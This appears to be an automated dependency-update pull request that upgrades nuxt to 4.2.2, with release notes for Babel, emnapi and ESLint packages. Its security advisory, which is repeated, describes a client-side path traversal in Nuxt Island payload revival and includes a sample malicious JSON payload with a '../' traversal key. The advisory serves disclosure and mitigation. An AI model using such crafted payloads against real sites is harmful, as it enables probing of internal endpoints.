🚨 [security] Update nuxt 3.17.7 → 4.2.2 (major)

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ nuxt (3.17.7 → 4.2.2) · Repo

Security Advisories 🚨

🚨 Nuxt has Client-Side Path Traversal in Nuxt Island Payload Revival

Summary

A client-side path traversal vulnerability in Nuxt's Island payload revival mechanism allowed attackers to manipulate client-side requests to different endpoints within the same application domain when specific prerendering conditions are met.

Technical Details

The vulnerability occurs in the client-side payload revival process (revive-payload.client.ts) where Nuxt Islands are automatically fetched when encountering serialized __nuxt_island objects. The issue affects the following flow:

  1. During prerendering, if an API endpoint returns user-controlled data containing a crafted __nuxt_island object
  2. This data gets serialized with devalue.stringify and stored in the prerendered page
  3. When a client navigates to the prerendered page, devalue.parse deserializes the payload
  4. The Island reviver attempts to fetch /__nuxt_island/${key}.json where key could contain path traversal sequences

Prerequisites for Exploitation

This vulnerability requires all of the following conditions:

  1. Prerendered pages: The application must use Nuxt's prerendering feature (nitro.prerender)
  2. Attacker-controlled API responses: The attacker must be able to control the response content of an API endpoint that is called during prerendering via useFetch, useAsyncData, or similar composables
  3. Client-side navigation: A user must navigate to the prerendered page (not during initial SSR hydration)

Attack Scenario

// Malicious API response during prerendering
{
  "__nuxt_island": {
    "key": "../../../../internal/service",
    "params": { "action": "probe" }
  }
}

This could cause the client to make requests to /__nuxt_island/../../../../internal/service.json if path traversal is not properly handled by the server.

Impact Assessment

  • Limited Impact: The vulnerability has a low severity due to the highly specific prerequisites
  • No Direct Data Exfiltration: The vulnerability does not directly expose sensitive data
  • Client-Side Only: Requests originate from the client, not the server

Mitigation

Action Required:

  • Update to Nuxt 3.19.0+ or 4.1.0+ immediately
  • Review any prerendered pages that fetch external or user-controlled data

Temporary Workarounds (if immediate update is not possible):

  1. Disable prerendering for pages that fetch user-controlled data
  2. Implement strict input validation on API endpoints used during prerendering
  3. Use allowlists for API response structures during prerendering

Fix Details

The fix implemented validation for Island keys in revive-payload.server.ts:

  • Island keys must match the pattern /^[a-z][a-z\d-]*_[a-z\d]+$/i
  • Maximum length of 100 characters
  • Prevents path traversal and special characters

🚨 Nuxt has Client-Side Path Traversal in Nuxt Island Payload Revival

Summary

A client-side path traversal vulnerability in Nuxt's Island payload revival mechanism allowed attackers to manipulate client-side requests to different endpoints within the same application domain when specific prerendering conditions are met.

Technical Details

The vulnerability occurs in the client-side payload revival process (revive-payload.client.ts) where Nuxt Islands are automatically fetched when encountering serialized __nuxt_island objects. The issue affects the following flow:

  1. During prerendering, if an API endpoint returns user-controlled data containing a crafted __nuxt_island object
  2. This data gets serialized with devalue.stringify and stored in the prerendered page
  3. When a client navigates to the prerendered page, devalue.parse deserializes the payload
  4. The Island reviver attempts to fetch /__nuxt_island/${key}.json where key could contain path traversal sequences

Prerequisites for Exploitation

This vulnerability requires all of the following conditions:

  1. Prerendered pages: The application must use Nuxt's prerendering feature (nitro.prerender)
  2. Attacker-controlled API responses: The attacker must be able to control the response content of an API endpoint that is called during prerendering via useFetch, useAsyncData, or similar composables
  3. Client-side navigation: A user must navigate to the prerendered page (not during initial SSR hydration)

Attack Scenario

// Malicious API response during prerendering
{
  "__nuxt_island": {
    "key": "../../../../internal/service",
    "params": { "action": "probe" }
  }
}

This could cause the client to make requests to /__nuxt_island/../../../../internal/service.json if path traversal is not properly handled by the server.

Impact Assessment

  • Limited Impact: The vulnerability has a low severity due to the highly specific prerequisites
  • No Direct Data Exfiltration: The vulnerability does not directly expose sensitive data
  • Client-Side Only: Requests originate from the client, not the server

Mitigation

Action Required:

  • Update to Nuxt 3.19.0+ or 4.1.0+ immediately
  • Review any prerendered pages that fetch external or user-controlled data

Temporary Workarounds (if immediate update is not possible):

  1. Disable prerendering for pages that fetch user-controlled data
  2. Implement strict input validation on API endpoints used during prerendering
  3. Use allowlists for API response structures during prerendering

Fix Details

The fix implemented validation for Island keys in revive-payload.server.ts:

  • Island keys must match the pattern /^[a-z][a-z\d-]*_[a-z\d]+$/i
  • Maximum length of 100 characters
  • Prevents path traversal and special characters
Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/compat-data (indirect, 7.28.0 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

7.28.4

v7.28.4 (2025-09-05)

Thanks @gwillen and @mrginglymus for your first PRs!

🏠 Internal

  • babel-core, babel-helper-check-duplicate-nodes, babel-traverse, babel-types
  • babel-plugin-transform-regenerator
  • babel-core

Committers: 5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/core (indirect, 7.28.0 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

7.28.4

v7.28.4 (2025-09-05)

Thanks @gwillen and @mrginglymus for your first PRs!

🏠 Internal

  • babel-core, babel-helper-check-duplicate-nodes, babel-traverse, babel-types
  • babel-plugin-transform-regenerator
  • babel-core

Committers: 5

7.28.3

v7.28.3 (2025-08-14)

👓 Spec Compliance

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-static-block, babel-preset-env

🐛 Bug Fix

  • babel-parser
    • #17465 fix(parser/typescript): parse import("./a", {with:{},}) (@easrng)
    • #17478 fix(parser): stop subscript parsing on async arrow (@JLHwung)

💅 Polish

  • babel-plugin-transform-regenerator, babel-plugin-transform-runtime

📝 Documentation

🏠 Internal

  • #17454 Enable type checking for scripts and babel-worker.cjs (@JLHwung)

🔬 Output optimization

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions

Committers: 5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/generator (indirect, 7.28.0 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

7.28.3

v7.28.3 (2025-08-14)

👓 Spec Compliance

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-static-block, babel-preset-env

🐛 Bug Fix

  • babel-parser
    • #17465 fix(parser/typescript): parse import("./a", {with:{},}) (@easrng)
    • #17478 fix(parser): stop subscript parsing on async arrow (@JLHwung)

💅 Polish

  • babel-plugin-transform-regenerator, babel-plugin-transform-runtime

📝 Documentation

🏠 Internal

  • #17454 Enable type checking for scripts and babel-worker.cjs (@JLHwung)

🔬 Output optimization

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions

Committers: 5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/helper-member-expression-to-functions (indirect, 7.27.1 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/helper-module-transforms (indirect, 7.27.3 → 7.28.3) · Repo · Changelog

Release Notes

7.28.3

v7.28.3 (2025-08-14)

👓 Spec Compliance

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-static-block, babel-preset-env

🐛 Bug Fix

  • babel-parser
    • #17465 fix(parser/typescript): parse import("./a", {with:{},}) (@easrng)
    • #17478 fix(parser): stop subscript parsing on async arrow (@JLHwung)

💅 Polish

  • babel-plugin-transform-regenerator, babel-plugin-transform-runtime

📝 Documentation

🏠 Internal

  • #17454 Enable type checking for scripts and babel-worker.cjs (@JLHwung)

🔬 Output optimization

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions

Committers: 5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/helper-validator-identifier (indirect, 7.27.1 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/helpers (indirect, 7.28.2 → 7.28.4) · Repo · Changelog

Release Notes

7.28.4

v7.28.4 (2025-09-05)

Thanks @gwillen and @mrginglymus for your first PRs!

🏠 Internal

  • babel-core, babel-helper-check-duplicate-nodes, babel-traverse, babel-types
  • babel-plugin-transform-regenerator
  • babel-core

Committers: 5

7.28.3

v7.28.3 (2025-08-14)

👓 Spec Compliance

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-static-block, babel-preset-env

🐛 Bug Fix

  • babel-parser
    • #17465 fix(parser/typescript): parse import("./a", {with:{},}) (@easrng)
    • #17478 fix(parser): stop subscript parsing on async arrow (@JLHwung)

💅 Polish

  • babel-plugin-transform-regenerator, babel-plugin-transform-runtime

📝 Documentation

🏠 Internal

  • #17454 Enable type checking for scripts and babel-worker.cjs (@JLHwung)

🔬 Output optimization

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions

Committers: 5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 35 commits:

↗️ @​babel/parser (indirect, 7.28.0 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

7.28.4

v7.28.4 (2025-09-05)

Thanks @gwillen and @mrginglymus for your first PRs!

🏠 Internal

  • babel-core, babel-helper-check-duplicate-nodes, babel-traverse, babel-types
  • babel-plugin-transform-regenerator
  • babel-core

Committers: 5

7.28.3

v7.28.3 (2025-08-14)

👓 Spec Compliance

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-static-block, babel-preset-env

🐛 Bug Fix

  • babel-parser
    • #17465 fix(parser/typescript): parse import("./a", {with:{},}) (@easrng)
    • #17478 fix(parser): stop subscript parsing on async arrow (@JLHwung)

💅 Polish

  • babel-plugin-transform-regenerator, babel-plugin-transform-runtime

📝 Documentation

🏠 Internal

  • #17454 Enable type checking for scripts and babel-worker.cjs (@JLHwung)

🔬 Output optimization

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions

Committers: 5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/plugin-transform-typescript (indirect, 7.28.0 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/traverse (indirect, 7.28.0 → 7.28.5) · Repo · Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

👓 Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

🐛 Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

🏃‍♀️ Performance

Committers: 8

7.28.4

v7.28.4 (2025-09-05)

Thanks @gwillen and @mrginglymus for your first PRs!

🏠 Internal

  • babel-core, babel-helper-check-duplicate-nodes, babel-traverse, babel-types
  • babel-plugin-transform-regenerator
  • babel-core

Committers: 5

7.28.3

v7.28.3 (2025-08-14)

👓 Spec Compliance

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-static-block, babel-preset-env

🐛 Bug Fix

  • babel-parser
    • #17465 fix(parser/typescript): parse import("./a", {with:{},}) (@easrng)
    • #17478 fix(parser): stop subscript parsing on async arrow (@JLHwung)

💅 Polish

  • babel-plugin-transform-regenerator, babel-plugin-transform-runtime

📝 Documentation

🏠 Internal

  • #17454 Enable type checking for scripts and babel-worker.cjs (@JLHwung)

🔬 Output optimization

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions

Committers: 5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​cloudflare/kv-asset-handler (indirect, 0.4.0 → 0.4.1) · Repo · Changelog

↗️ @​emnapi/core (indirect, 1.4.3 → 1.7.1) · Repo

Release Notes

1.7.1

What's Changed

Full Changelog: v1.7.0...v1.7.1

1.7.0

What's Changed

Full Changelog: v1.6.0...v1.7.0

1.6.0

What's Changed

Full Changelog: v1.5.0...v1.6.0

1.5.0

What's Changed

Prebuilt libraries are built by LLVM clang 20.

  • fix: env undefined after emitting beforeExit event by @toyobayashi in #162
  • fix(wasi): avoid deadlock caused by child thread abort when the main thread is in Atomics.wait and allow blocking calls on browser main thread (requires wasi-sdk 26+ and --export=emnapi_thread_crashed) by @toyobayashi in #163
  • build: backport emscripten parse tools changes to v1 by @toyobayashi in #165

Full Changelog: v1.4.5...v1.5.0

1.4.5

What's Changed

  • fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)

Full Changelog: v1.4.4...v1.4.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 21 commits:

↗️ @​emnapi/runtime (indirect, 1.4.3 → 1.7.1) · Repo

Release Notes

1.7.1

What's Changed

Full Changelog: v1.7.0...v1.7.1

1.7.0

What's Changed

Full Changelog: v1.6.0...v1.7.0

1.6.0

What's Changed

Full Changelog: v1.5.0...v1.6.0

1.5.0

What's Changed

Prebuilt libraries are built by LLVM clang 20.

  • fix: env undefined after emitting beforeExit event by @toyobayashi in #162
  • fix(wasi): avoid deadlock caused by child thread abort when the main thread is in Atomics.wait and allow blocking calls on browser main thread (requires wasi-sdk 26+ and --export=emnapi_thread_crashed) by @toyobayashi in #163
  • build: backport emscripten parse tools changes to v1 by @toyobayashi in #165

Full Changelog: v1.4.5...v1.5.0

1.4.5

What's Changed

  • fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)

Full Changelog: v1.4.4...v1.4.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 21 commits:

↗️ @​emnapi/wasi-threads (indirect, 1.0.2 → 1.1.0) · Repo

Release Notes

1.1.0

What's Changed

  • test: make napi_get_buffer_info check if passed buffer is valid by @toyobayashi in #108
  • feat: segregate nogc APIs from rest via type system by @toyobayashi in #110
  • test: fix unreliable assumption in js-native-api/test_cannot_run_js by @toyobayashi in #111
  • fix: missing sources in gyp wasi + threads target

Full Changelog: v1.0.0...v1.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

↗️ @​eslint/js (indirect, 9.33.0 → 9.39.2) · Repo · Changelog

Release Notes

9.39.2

Bug Fixes

  • 5705833 fix: warn when eslint-env configuration comments are found (#20381) (sethamus)

Build Related

  • 506f154 build: add .scss files entry to knip (#20391) (Milos Djermanovic)

Chores

  • 7ca0af7 chore: upgrade to @eslint/js@9.39.2 (#20394) (Francesco Trotta)
  • c43ce24 chore: package.json update for @eslint/js release (Jenkins)
  • 4c9858e ci: add v9.x-dev branch (#20382) (Milos Djermanovic)

9.39.1

Bug Fixes

  • 650753e fix: Only pass node to JS lang visitor methods (#20283) (Nicholas C. Zakas)

Documentation

  • 51b51f4 docs: add a section on when to use extends vs cascading (#20268) (Tanuj Kanti)
  • b44d426 docs: Update README (GitHub Actions Bot)

Chores

  • 92db329 chore: update @eslint/js version to 9.39.1 (#20284) (Francesco Trotta)
  • c7ebefc chore: package.json update for @eslint/js release (Jenkins)
  • 61778f6 chore: update eslint-config-eslint dependency @eslint/js to ^9.39.0 (#20275) (renovate[bot])
  • d9ca2fc ci: Add rangeStrategy to eslint group in renovate config (#20266) (唯然)
  • 009e507 test: fix version tests for ESLint v10 (#20274) (Milos Djermanovic)

9.39.0

Features

  • cc57d87 feat: update error loc to key in no-dupe-class-members (#20259) (Tanuj Kanti)
  • 126552f feat: update error location in for-direction and no-dupe-args (#20258) (Tanuj Kanti)
  • 167d097 feat: update complexity rule to highlight only static block header (#20245) (jaymarvelz)

Bug Fixes

  • 15f5c7c fix: forward traversal step.args to visitors (#20253) (jaymarvelz)
  • 5a1a534 fix: allow JSDoc comments in object-shorthand rule (#20167) (Nitin Kumar)
  • e86b813 fix: Use more types from @eslint/core (#20257) (Nicholas C. Zakas)
  • 927272d fix: correct Scope typings (#20198) (jaymarvelz)
  • 37f76d9 fix: use AST.Program type for Program node (#20244) (Francesco Trotta)
  • ae07f0b fix: unify timing report for concurrent linting (#20188) (jaymarvelz)
  • b165d47 fix: correct Rule typings (#20199) (jaymarvelz)
  • fb97cda fix: improve error message for missing fix function in suggestions (#20218) (jaymarvelz)

Documentation

  • d3e81e3 docs: Always recommend to include a files property (#20158) (Percy Ma)
  • 0f0385f docs: use consistent naming recommendation (#20250) (Alex M. Spieslechner)
  • a3b1456 docs: Update README (GitHub Actions Bot)
  • cf5f2dd docs: fix correct tag of no-useless-constructor (#20255) (Tanuj Kanti)
  • 10b995c docs: add TS options and examples for nofunc in no-use-before-define (#20249) (Tanuj Kanti)
  • 2584187 docs: remove repetitive word in comment (#20242) (reddaisyy)
  • 637216b docs: update CLI flags migration instructions (#20238) (jaymarvelz)
  • e7cda3b docs: Update README (GitHub Actions Bot)
  • 7b9446f docs: handle empty flags sections on the feature flags page (#20222) (sethamus)

Chores

  • dfe3c1b chore: update @eslint/js version to 9.39.0 (#20270) (Francesco Trotta)
  • 2375a6d chore: package.json update for @eslint/js release (Jenkins)
  • a1f4e52 chore: update @eslint dependencies (#20265) (Francesco Trotta)
  • c7d3229 chore: update dependency @eslint/core to ^0.17.0 (#20256) (renovate[bot])
  • 27549bc chore: update fuzz testing to not error if code sample minimizer fails (#20252) (Milos Djermanovic)
  • a1370ee ci: bump actions/setup-node from 5 to 6 (#20230) (dependabot[bot])
  • 9e7fad4 chore: add script to auto-generate eslint:recommended configuration (#20208) (唯然)

9.38.0

Features

  • ce40f74 feat: update complexity rule to only highlight function header (#20048) (Atul Nair)
  • e37e590 feat: correct no-loss-of-precision false positives with e notation (#20187) (Francesco Trotta)

Bug Fixes

  • 50c3dfd fix: improve type support for isolated dependencies in pnpm (#20201) (Francesco Trotta)
  • a1f06a3 fix: correct SourceCode typings (#20114) (Pixel998)

Documentation

  • 462675a docs: improve web accessibility by hiding non-semantic character (#20205) (루밀LuMir)
  • c070e65 docs: correct formatting in no-irregular-whitespace rule documentation (#20203) (루밀LuMir)
  • b39e71a docs: Update README (GitHub Actions Bot)
  • cd39983 docs: move custom-formatters type descriptions to nodejs-api (#20190) (Percy Ma)

Chores

  • d17c795 chore: upgrade @eslint/js@9.38.0 (#20221) (Milos Djermanovic)
  • 25d0e33 chore: package.json update for @eslint/js release (Jenkins)
  • c82b5ef refactor: Use types from @eslint/core (#20168) (Nicholas C. Zakas)
  • ff31609 ci: add Node.js 25 to ci.yml (#20220) (루밀LuMir)
  • 004577e ci: bump github/codeql-action from 3 to 4 (#20211) (dependabot[bot])
  • eac71fb test: remove use of nodejsScope option of eslint-scope from tests (#20206) (Milos Djermanovic)
  • 4168a18 chore: fix typo in legacy-eslint.js (#20202) (Sweta Tanwar)
  • 205dbd2 chore: fix typos (#20200) (ntnyq)
  • dbb200e chore: use team member's username when name is not available in data (#20194) (Milos Djermanovic)
  • 8962089 chore: mark deprecated rules as available until v11.0.0 (#20184) (Pixel998)

9.37.0

Features

  • 39f7fb4 feat: preserve-caught-error should recognize all static "cause" keys (#20163) (Pixel998)
  • f81eabc feat: support TS syntax in no-restricted-imports (#19562) (Nitin Kumar)

Bug Fixes

  • a129cce fix: correct no-loss-of-precision false positives for leading zeros (#20164) (Francesco Trotta)
  • 09e04fc fix: add missing AST token types (#20172) (Pixel998)
  • 861c6da fix: correct ESLint typings (#20122) (Pixel998)

Documentation

  • b950359 docs: fix typos across the docs (#20182) (루밀LuMir)
  • 42498a2 docs: improve ToC accessibility by hiding non-semantic character (#20181) (Percy Ma)
  • 29ea092 docs: Update README (GitHub Actions Bot)
  • 5c97a04 docs: show availableUntil in deprecated rule banner (#20170) (Pixel998)
  • 90a71bf docs: update README files to add badge and instructions (#20115) (루밀LuMir)
  • 1603ae1 docs: update references from master to main (#20153) (루밀LuMir)

Chores

  • afe8a13 chore: update @eslint/js dependency to version 9.37.0 (#20183) (Francesco Trotta)
  • abee4ca chore: package.json update for @eslint/js release (Jenkins)
  • fc9381f chore: fix typos in comments (#20175) (overlookmotel)
  • e1574a2 chore: unpin jiti (#20173) (renovate[bot])
  • e1ac05e refactor: mark ESLint.findConfigFile() as async, add missing docs (#20157) (Pixel998)
  • 347906d chore: update eslint (#20149) (renovate[bot])
  • 0cb5897 test: remove tmp dir created for circular fixes in multithread mode test (#20146) (Milos Djermanovic)
  • bb99566 ci: pin jiti to version 2.5.1 (#20151) (Pixel998)
  • 177f669 perf: improve worker count calculation for "auto" concurrency (#20067) (Francesco Trotta)
  • 448b57b chore: Mark deprecated formatting rules as available until v11.0.0 (#20144) (Milos Djermanovic)

9.36.0

Features

  • 47afcf6 feat: correct preserve-caught-error edge cases (#20109) (Francesco Trotta)

Bug Fixes

  • 75b74d8 fix: add missing rule option types (#20127) (ntnyq)
  • 1c0d850 fix: update eslint-all.js to use Object.freeze for rules object (#20116) (루밀LuMir)
  • 7d61b7f fix: add missing scope types to Scope.type (#20110) (Pixel998)
  • 7a670c3 fix: correct rule option typings in rules.d.ts (#20084) (Pixel998)

Documentation

  • b73ab12 docs: update examples to use defineConfig (#20131) (sethamus)
  • 31d9392 docs: fix typos (#20118) (Pixel998)
  • c7f861b docs: Update README (GitHub Actions Bot)
  • 6b0c08b docs: Update README (GitHub Actions Bot)
  • 91f97c5 docs: Update README (GitHub Actions Bot)

Chores

  • 12411e8 chore: upgrade @eslint/js@9.36.0 (#20139) (Milos Djermanovic)
  • 488cba6 chore: package.json update for @eslint/js release (Jenkins)
  • bac82a2 ci: simplify renovate configuration (#19907) (唯然)
  • c00bb37 ci: bump actions/labeler from 5 to 6 (#20090) (dependabot[bot])
  • fee751d refactor: use defaultOptions in rules (#20121) (Pixel998)
  • 1ace67d chore: update example to use defineConfig (#20111) (루밀LuMir)
  • 4821963 test: add missing loc information to error objects in rule tests (#20112) (루밀LuMir)
  • b42c42e chore: disallow use of deprecated type property in core rule tests (#20094) (Milos Djermanovic)
  • 7bb498d test: remove deprecated type property from core rule tests (#20093) (Pixel998)
  • e10cf2a ci: bump actions/setup-node from 4 to 5 (#20089) (dependabot[bot])
  • 5cb0ce4 refactor: use meta.defaultOptions in preserve-caught-error (#20080) (Pixel998)
  • f9f7cb5 chore: package.json update for eslint-config-eslint release (Jenkins)
  • 81764b2 chore: update eslint peer dependency in eslint-config-eslint (#20079) (Milos Djermanovic)

9.35.0

Features

  • 42761fa feat: implement suggestions for no-empty-function (#20057) (jaymarvelz)
  • 102f444 feat: implement suggestions for no-empty-static-block (#20056) (jaymarvelz)
  • e51ffff feat: add preserve-caught-error rule (#19913) (Amnish Singh Arora)

Bug Fixes

  • 10e7ae2 fix: update uncloneable options error message (#20059) (soda-sorcery)
  • bfa4601 fix: ignore empty switch statements with comments in no-empty rule (#20045) (jaymarvelz)
  • dfd11de fix: add before and after to test case types (#20049) (Francesco Trotta)
  • dabbe95 fix: correct types for no-restricted-imports rule (#20034) (Milos Djermanovic)
  • ea789c7 fix: no-loss-of-precision false positive with uppercase exponent (#20032) (sethamus)

Documentation

  • d265515 docs: improve phrasing - "if" → "even if" from getting-started section (#20074) (jjangga0214)
  • a355a0e docs: invert comparison logic for example in no-var doc page (#20064) (OTonGitHub)
  • 5082fc2 docs: Update README (GitHub Actions Bot)
  • 99cfd7e docs: add missing "the" in rule deprecation docs (#20050) (Josh Goldberg ✨)
  • 6ad8973 docs: update --no-ignore and --ignore-pattern documentation (#20036) (Francesco Trotta)
  • 8033b19 docs: add documentation for --no-config-lookup (#20033) (Francesco Trotta)

Chores

  • da87f2f chore: upgrade @eslint/js@9.35.0 (#20077) (Milos Djermanovic)
  • af2a087 chore: package.json update for @eslint/js release (Jenkins)
  • 7055764 test: remove tests/lib/eslint/eslint.config.js (#20065) (Milos Djermanovic)
  • 84ffb96 chore: update @eslint-community/eslint-utils (#20069) (Francesco Trotta)
  • d5ef939 refactor: remove deprecated context.parserOptions usage across rules (#20060) (sethamus)
  • 1b3881d chore: remove redundant word (#20058) (pxwanglu)

9.34.0

Features

  • 0bb777a feat: multithread linting (#19794) (Francesco Trotta)
  • 43a5f9e feat: add eslint-plugin-regexp to eslint-config-eslint base config (#19951) (Pixel998)

Bug Fixes

  • 9b89903 fix: default value of accessor-pairs option in rule.d.ts file (#20024) (Tanuj Kanti)
  • 6c07420 fix: fix spurious failure in neostandard integration test (#20023) (Kirk Waiblinger)
  • 676f4ac fix: allow scientific notation with trailing zeros matching exponent (#20002) (Sweta Tanwar)

Documentation

  • 0b4a590 docs: make rulesdir deprecation clearer (#20018) (Domenico Gemoli)
  • 327c672 docs: Update README (GitHub Actions Bot)
  • bf26229 docs: Fix typo in core-concepts/index.md (#20009) (Tobias Hernstig)
  • 2309327 docs: fix typo in the "Configuring Rules" section (#20001) (ghazi-git)
  • 2b87e21 docs: [no-else-return] clarify sample code. (#19991) (Yuki Takada (Yukinosuke Takada))
  • c36570c docs: Update README (GitHub Actions Bot)

Chores

  • f19ad94 chore: upgrade to @eslint/js@9.34.0 (#20030) (Francesco Trotta)
  • b48fa20 chore: package.json update for @eslint/js release (Jenkins)
